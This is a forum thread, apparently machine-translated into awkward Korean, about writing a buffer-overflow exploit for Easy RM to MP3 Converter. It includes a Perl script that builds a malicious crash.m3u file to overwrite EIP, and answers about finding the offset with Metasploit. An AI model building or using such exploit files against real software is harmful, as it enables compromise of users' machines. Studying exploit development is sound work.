2012-03-22 6 views
0

는, 윈도우 XP SP3 (http://www.exploit-db.com/exploits/9177/)에 MP3 변환기 2.7.3.700에 쉬운 RM에 대한 공격 작업, 내가 이해하지 오전 개념을 통해 온, 그것은 다음과 같이 진행됩니다는 쉘 코드 개발, 언젠가 다시 ESP 포인터

악성 파일 생성

펄 스크립트 ... 악성 파일을 생성 후

my $junk = "\x41" x 25000; 
my $offset = "\x42" x 1072; 
my $eip = "\x43" x 4; 
my $file = "crash.m3u"; 
open ($file,">$file"); 
print $file $junk.$offset.$eip.$adjustment; 
close ($file); 

는 변환기에 공급하고는 [ESP + 18] (특히 상대 어드레스)으로 스택의 콘텐츠를 분석하는 이유는 이들은 여기있어?

는 말 :

[ESP-43C]에서
B의 시작시 [ESP-88E8]에서의 개시 [ESP-438] 내지 [ESP-C]에서
C 년대 [ESP - 8]

[ESP + 18]에서 [ESP + 418]에이 A가 다시 나타나는 이유는 무엇입니까? 왜 [ESP-18E]에서 [ESP-43C]로 옮겨 졌을 때 [ESP + 18]에서 [ESP + 418]로 반복되는 이유입니까?

감사합니다.

답변

0

질문에 답하기 위해 Easy RM에서 MP3 변환기에 대한 디버깅을 조금 더 해보고 몇 가지 이전 중단 점을 설정해보십시오. 오버플로 나던가 즉시 발생하고 그것은 정적 버퍼를 작성하기 전에 아마 몇 번 복사됩니다 용의자. :)

2

여기에는 정크가있는 버퍼를 채우는 데 필요한 버퍼가 있으며 나머지는 EIP를 덮어 쓸 때 주소를 얻기 위해 metasploit을 사용하여 1700+ 바이트가 생성됩니다. 따라서 버퍼 오버플로를 일으키는 데 필요한 바이트 수를 결정해야합니다. OS가 OS와 다른 점이 있습니다.

선택 : 그렇습니다. 그러면 필요한 곳에 중단 점을 설정하고 EIP 주소를 얻습니다.